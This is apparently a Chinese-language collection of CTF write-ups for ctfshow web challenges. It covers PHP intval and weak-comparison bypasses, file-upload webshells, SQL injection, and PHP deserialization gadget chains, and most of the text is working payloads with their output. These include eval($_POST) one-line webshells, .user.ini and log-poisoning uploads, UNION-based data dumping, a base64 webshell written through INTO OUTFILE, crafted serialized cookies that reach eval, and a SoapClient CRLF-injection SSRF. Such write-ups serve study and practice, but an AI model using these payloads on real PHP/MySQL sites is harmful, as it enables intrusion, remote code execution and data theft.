    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
==弱比较,所以4476a和4476相等
这时只能通过十六进制绕过

payload:
?num=0x117c		//十六进制
?num=4476e123

# web93

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
过滤了字母,那就用八进制

payload:
?num=010574

# web94

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
基于web93对开头进行了0的过滤

对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574

也可以小数点绕过
payload:?num=4476.0

因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010574

?num= 010574 // 前面加个空格
?num=+010574 
?num=+4476.0

# web95

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
对.进行了过滤

payload:
?num=%0a010574
?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574

# web96

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}
?u=/var/www/html/flag.php              绝对路径
?u=./flag.php                          相对路径
?u=php://filter/resource=flag.php      php伪协议

# web97

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
数组绕过即可

payload:
a[]=1&b[]=2

# web98

Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
$_GET?$_GET=&$_POST:'flag';
# 如果有 GET 传参,就变成 POST 传参
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
# 如果 GET 传参 HTTP_FLAG=flag, 就执行 highlight_file (flag), 否则执行 highlight_file (__FILE__)
// GET 传参
?a=1
// POST 传参
HTTP_FLAG=flag

# web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>
$allow是个数组,通过array_push将随机数添加到$allow中。
$allow中必定存在一个数字0。
然后这里利用in_array()的特性,弱比较特性,'0.php'==0。
in_array延用了php中的==
?n=1.php
post传参
content=<?php eval($_POST['a']);?>
访问1.php
a=system('tac flag36d.php');

# web100

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>
v1要为数字,v2是指令,v3必须含;

payload:
?v1=1&v2=system('cat ctfshow.php')/*&v3=*/;

# 文件上传

# web151

后端无验证

image-20230211151823184

方法一:burpsuite 抓包改数据

方法二:F12 直接改源码,因为校验格式写在 html 里

payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{99531efd-02ea-410f-92a0-7d4e6a037b4a}

# web152

后端文件类型验证

后端不能单一校验

后端校验要严密

这一次不能直接在前端改代码

<文件上传失败,失败原因:文件类型不合规>

我们上传 png 马然后抓包再 burpsuite 里面改 php 即可绕过

image-20230211160045055

payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{0b8b4699-360f-4d06-976c-b26d21986107}

# web153

配置文件可控

后端校验要严密

新知识 user.ini

先将前端内容格式进行修改

image-20230211165314539

然后上传 user.ini 文件

auto_append_file=1.txt

image-20230211165437254

在 user.ini 前面加一个.

再修改文件类型为 image/png 即可绕过上传成功

image-20230211165543326

再编辑上传一个 1.txt 一句话木马,即可实现命令执行

payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{f3e53e55-a523-417f-973c-0cb03629f560}

# web154

文件魔术字节欺骗

后端不能单二校验

对 php 进行了过滤,新知识 php 短标签

同样上传 user.ini

image-20230211170837109

payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{4cfa78ac-da71-4507-adb5-e0760adced07}

# web155

配置文件可控

后端不能单三校验

同样对 php 进行过滤,也对文件类型进行判断,继续用短标签绕过即可

image-20230214105947584

payload:
a=system('tac ../flag.php');
ctfshow{c161ced9-ccda-483f-8c8e-2795f038f0b3}

# web156

后端不能单四校验

文件内容检测 [] 过滤,{} 绕过即可

image-20230214111055211

payload:
a=system('tac ../flag.php');
ctfshow{b74d2930-b4f8-4e42-9753-1a62cfa4a5f6}

# web157

后端不能单五校验

新知识,[] 和 {} 和;都被过滤了,这时用到 array_pop () 函数,分号可以省略

image-20230214113617915

payload:
a=system('tac ../flag.php');
ctfshow{d474a4cf-72c0-4ba4-b675-6a39e9996ab5}

# web158

后端不能单六校验

过滤了日志包含

同样能用上题方式解

image-20230214113617915

payload:
a=system('tac ../flag.php');
ctfshow{f5e1cc4e-c6f8-4041-9978-b9f3d516e5cc}

# web159

方法一:

上传 user.ini

用反引号绕过

image-20230214120916212

直接访问 upload 即可得到 flag

方法二:

日志包含漏洞绕过

image-20230214122305098

访问 upload 一次发现包含成功,然后 hackbar 日志文件包含漏洞,在 User Agent 输入一句话木马

image-20230214160702690

直接得出 flag(我这里没试出 flag,不知道是不是哪不对,但方法是没错的)

#补充:之后搞明白了哪里不对,因为 upload 后面忘记加个斜线,导致网页在 upload 寻找一句话木马没找到所以报 301,加个斜线表示在下一个目录里,这样就对了

ctfshow{b11deff1-c608-42de-ad9c-cfbc73b451c5}

# web160

过滤了 php,执行函数,反引号,空格等

同样日志包含漏洞即可

image-20230214144624269

image-20230214144612304

image-20230214144640074

ctfshow{a2c7d477-51f5-401e-b249-3c863ba0ce91}

# web161

同样的知识,这一次加了 GIF89a 文件头的判断

用上一题的思路即可,这里我用蚁剑连接得到了 flag

image-20230214160139556

ctfshow{9a01b080-c26d-43c3-a15a-0e4070b40869}

# web166

只允许 zip 上传

注意:有时候会出错,是因为 
要改一下MIME类型:Content-Type: application/zip 
需要修改成:Content-Type: application/x-zip-compressed

# web168

基础免杀

上传一个普通图片,发现他保存在本地目录了

抓包

image-20230214162516394

ctfshow{78a76ccd-0c66-43f4-8498-ae629e44df88}

# web169

高级免杀

有点小坑,前端做了校验只能传 zip 文件,后端又做了图片文件检查.
过滤了 <>php , 可以上传配置文件绕过

image-20230214180009668

在文件头写个一句话木马

image-20230214180035758

然后蚁剑连或直接 rce (命令执行) 即可

ctfshow{a2456e0d-217a-4514-8e13-d1a065544b01}

# web170

终极免杀

image-20230214181242486

过滤了这么多,但是用上一题的方法同解

ctfshow{28168a35-e410-412b-b906-1e49290460a5}

# SQL 注入

# web171

这里会把输入的 id 以 get 的形式直接递交到后台和查询语句进行简单的字符串拼接的过程,同时根据这个题目的查询条件,可以猜测 username 为为 flag 的用户他的信息就是我们所需要的,但是网页中 24 个用户并没有我们所需要的 flag,首先我们给前面一个查询语句一个不可能达成的条件去截断它,即 - 1',然后用 or 加上我们所要查询的 or username = 'flag'. 我们语句外面还有一个引号。所以我们不要最后一个引号

image-20230206132457461

payload:
-1' or username = 'flag

payload2:
id=1'or'1'='1

image-20230206132649276

ctfshow{5680eb72-ef35-46b9-8c45-c504e6eb5e86}

# web172

首先看到这个界面,老规矩,检查源代码,在底部发现 select.js

image-20230206132949239

layui.use('table', function(){
  var table = layui.table;
  table.render({
    elem: '#user'
    ,id:'user_table'
    ,title: '用户列表'
    ,height: 500 
    ,page:true
    ,url:"api/"
    ,cols: [[
      {field: 'id', title: 'ID', sort: true, fixed: 'left'}
      ,{field: 'username', title: '用户名'}
      ,{field: 'password', title: 'å¯†ç ',edit:'text'}
    ]]
  });
  table.on('toolbar(user-filter)', function(obj){
  var checkStatus = table.checkStatus(obj.config.id);
  switch(obj.event){
    case 'add':
      layer.msg('æ·»åŠ ');
    break;
    case 'delete':
      layer.msg('åˆ é™¤');
    break;
    case 'update':
      layer.msg('æ›´æ–°');
    break;
  };
});
});
layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});
layui.use('form', function(){
  var form = layui.form;
  form.on('submit(*)', function(data){
    var id = data.field['id'];
    var table = layui.table;
    table.reload('user_table', {
      url:'api/?id='+id
    })
    return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
  });
});

检查了一下发现 url 需要在 /api 下查询

id=1'order by 1%23

发现他有反应,到第四列就没了,说明只有三列

id=1'order by 3%23

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"admin","password":"admin"}]}

接下来就是联合查询数据库

id=1'union select 1,2,3%23

{"id":"1","username":"2","password":"3"}]}

id=1'union select 1,2,database()%23

现在知道了数据库名

{"id":"1","username":"2","password":"ctfshow_web"}]}

接下来

id=1'union select 1,(select group_concat(schema_name) from information_schema.schemata),database()%23

{"id":"1","username":"information_schema,test,mysql,performance_schema,ctfshow_web","password":"ctfshow_web"}]}

接下来查询表

1'union select 1,(select group_concat(table_name) from information_schema.columns where table_schema='ctfshow_web'),database()%23

{"id":"1","username":"ctfshow_user,ctfshow_user,ctfshow_user,ctfshow_user2,ctfshow_user2,ctfshow_user2","password":"ctfshow_web"}]}

发现有个 ctfshow_user、ctfshow_user2 表

接下来就是爆出字段

id=1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()%23

{"id":"1","username":"id,username,password","password":"ctfshow_web"}]}

发现有 id、username、password 三列

然后就是查看字段内容

1'union select 1,(select group_concat(password) from ctfshow_user),database()%23

{"id":"1","username":"admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,flag_not_here","password":"ctfshow_web"}]}

发现 ctfshow_user 没有 flag,查看 ctfshow_user2

1'union select 1,(select group_concat(password) from ctfshow_user2),database()%23

{"id":"1","username":"admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{707d21f4-6c7d-409d-9c94-ba6997c6f764}","password":"ctfshow_web"}]}

发现 flag

ctfshow{707d21f4-6c7d-409d-9c94-ba6997c6f764}

# web173

考察 sql 基础

还是熟悉的界面,老规矩还是检查源代码,底部发现 select.js 还是通过 /api/ 查询

image-20230206144532326

layui.use('table', function(){
  var table = layui.table;
  table.render({
    elem: '#user'
    ,id:'user_table'
    ,title: '用户列表'
    ,height: 500 
    ,page:true
    ,url:"api/"
    ,cols: [[
      {field: 'id', title: 'ID', sort: true, fixed: 'left'}
      ,{field: 'username', title: '用户名'}
      ,{field: 'password', title: 'å¯†ç ',edit:'text'}
    ]]
  });
  table.on('toolbar(user-filter)', function(obj){
  var checkStatus = table.checkStatus(obj.config.id);
  switch(obj.event){
    case 'add':
      layer.msg('æ·»åŠ ');
    break;
    case 'delete':
      layer.msg('åˆ é™¤');
    break;
    case 'update':
      layer.msg('æ›´æ–°');
    break;
  };
});
});
layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});
layui.use('form', function(){
  var form = layui.form;
  form.on('submit(*)', function(data){
    var id = data.field['id'];
    var table = layui.table;
    table.reload('user_table', {
      url:'api/?id='+id
    })
    return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
  });
});

最多三列

id=1'order by 3%23

id=1'union select 1,2,database()%23

{"id":"1","username":"2","password":"ctfshow_web"}]}

接着联合查询

1'union select 1,(select group_concat(schema_name) from information_schema.schemata),database()%23

{"id":"1","username":"information_schema,test,mysql,performance_schema,ctfshow_web","password":"ctfshow_web"}]}

接着查询表

1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),database()%23

{"id":"1","username":"ctfshow_user,ctfshow_user2,ctfshow_user3","password":"ctfshow_web"}]}

发现三个表,接着爆字段

1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()%23

{"id":"1","username":"id,username,password","password":"ctfshow_web"}]}

有 id、username、password 三个字段

接着爆字段内容

id=1'union select 1,(select group_concat(password) from ctfshow_user),database()%23

没找到 flag,下一个表

id=1'union select 1,(select group_concat(password) from ctfshow_user3),database()%23

{"id":"1","username":"admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{e164dc8d-e504-437a-8d4f-167a217b0dbc}","password":"ctfshow_web"}]}

发现 flag

ctfshow{e164dc8d-e504-437a-8d4f-167a217b0dbc}

# web174

image-20230206155210337

老规矩查看源代码找到注入点,底部找到 v4.js,注入点在 api/v4.php

layui.use('table', function(){
  var table = layui.table;
  table.render({
    elem: '#user'
    ,id:'user_table'
    ,title: '用户列表'
    ,height: 500 
    ,page:true
    ,url:"api/v4.php"
    ,cols: [[
      {field: 'id', title: 'ID', sort: true, fixed: 'left'}
      ,{field: 'username', title: '用户名'}
      ,{field: 'password', title: 'å¯†ç ',edit:'text'}
    ]]
  });
  table.on('toolbar(user-filter)', function(obj){
  var checkStatus = table.checkStatus(obj.config.id);
  switch(obj.event){
    case 'add':
      layer.msg('æ·»åŠ ');
    break;
    case 'delete':
      layer.msg('åˆ é™¤');
    break;
    case 'update':
      layer.msg('æ›´æ–°');
    break;
  };
});
});
layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});
layui.use('form', function(){
  var form = layui.form;
  form.on('submit(*)', function(data){
    var id = data.field['id'];
    var table = layui.table;
    table.reload('user_table', {
      url:'api/v4.php?id='+id
    })
    return false; 
  });
});

过滤了数字,可以用 replace 函数进行数字替换

payload:
99' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","!"),"2","@"),"3","#"),"4","$"),"5","%"),"6","^"),"7","&"),"8","*"),"9","("),"0",")") from ctfshow_user4 where username='flag
ctfshow{3892228b-3a70-4a05-bf92-9b515fa4c2b9}

# web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
利用base64写一句话木马连接

首先把一句话木马加密成base64在加密成url编码,在执行到web地址里

/api/config.php里面有数据库账号密码

payload:
99' union select 1,from_base64('%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4a%32%45%6e%58%53%6b%37%50%7a%34%3d') into outfile '/var/www/html/1.php
ctfshow{937177d2-74e9-4c06-b41c-73335765d568}

# web176

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
      
过滤了一些内容,但我们无法查看
试过之后发现是过滤了关键字,大小写绕过即可
payload1(万能密码):
1’ or 1=1--+
payload2:
1' union select 1,2,3--+	//发现没回显,可能是过滤掉了
1' UniOn SelEct 1,2,database()--+		//大小写绕过有回显得到数据库名
//爆表
1' UniOn SelEct 1,(SelEct group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),database()--+
//爆字段
1' UniOn SelEct 1,(SelEct group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()--+
//爆字段内容
1' UniOn SelEct 1,(SelEct group_concat(password) from ctfshow_user),database()--+
得到flag
ctfshow{9cf120a8-bb3a-4861-b234-f258cc19354f}

# web177

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
      
过滤了空格
payload:1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23
ctfshow{0cfae509-b430-4d65-a829-5df539518b92}

# web178

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
      
过滤了空格、*等,用%09绕过

payload1:
1'%09union%09select%091,2,password%09from%09ctfshow_user%09where%09username%09='flag'%23

payload2:
1'%0bunion%0bselect%0b1,2,password%0bfrom%0bctfshow_user%0bwhere%0busername%0b='flag'%23

payload3:
1'or'1'='1'%23
ctfshow{bada9a8a-ef29-4f86-9d33-7e4f35d708c7}

# web179

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }
      
新过滤了%09

payload:
99'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername%0c='flag'%23
ctfshow{f7254fe5-7159-42ab-b5f3-cdbb5c7de8c3}

# 反序列化

# web254

开始反序列化

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
payload:
?username=xxxxxx&password=xxxxxx
ctfshow{c7ae2016-c828-4005-b0c7-de10418de1eb}

# web255

开始反序列化

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
审计代码
$user = unserialize($_COOKIE['user']); 
将反序列化的结果赋值给user并传入cookie
//在本地输出序列化结果,将vip改为true
<?php 
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true; 
}
$a = new ctfShowUser();
$str = urlencode(serialize($a));
echo $str;
?>
    
payload:
GET输出?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
ctfshow{41cb227c-9295-4cb1-ba53-a9c5a838820e}

# web256

开始反序列化

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
审计代码,发现多了个username和password的判断不相等
payload:
?username=K1nako&password=b
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22K1nako%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
ctfshow{0dc986f3-5835-4f52-899b-d5dfe4ed448e}

# web257

开始反序列化

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
代码审计,利用后门类执行指令
<?php 
class ctfShowUser{
    private $username='a';
    private $password='b';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code='eval($_POST[K1nako]);';
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$str = urlencode(serialize($a));
echo $str;
?>
payload:
?username=a&password=b
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%22a%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%22b%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A21%3A%22eval%28%24_POST%5BK1nako%5D%29%3B%22%3B%7D%7D
Post:K1nako=system('cat flag.php');
ctfshow{4de449fd-d8f2-4674-9405-c758daa4d43f}

# web258

开始反序列化

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
对O:进行了过滤
<?php 
class ctfShowUser{
    public $username='a';
    public $password='b';
    public $isVip=true;
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code = "system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$str = serialize($a);
$str1 = str_replace('O:','O:+',$str);	// 绕过 preg_match
echo urlencode($str1);
// echo $str;
?>
    
payload:
?username=a&password=b
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
ctfshow{fcb320c5-47bc-4aed-8d8f-c38b8cc849f5}

# web259

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}
题目考察php原生类的反序列化
要想得到flag,必须本地访问flag.php而且带上token,一看到是根据x-forwarded-for来判断的,因此这题需要利用原生类的反序列化来实现SSRF,考察的是php的SoapClient原生类的反序列化。
需要用到php扩展soap和natcat
首先构造监听9999端口查看头
<?php
$client = new SoapClient(null.array('uri'=>'http://127.0.0.1:9999/',location=>'http://127.0.0.1:9999/flag.php'))
$client =>getflag();
?>
    
nc -lvp 9999
监听成功后,按照监听后的格式修改内容添加表单格式
<?php
//token=ctfshow
$ua = "K1nako\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
$client->getflag();
?>
//监听内容
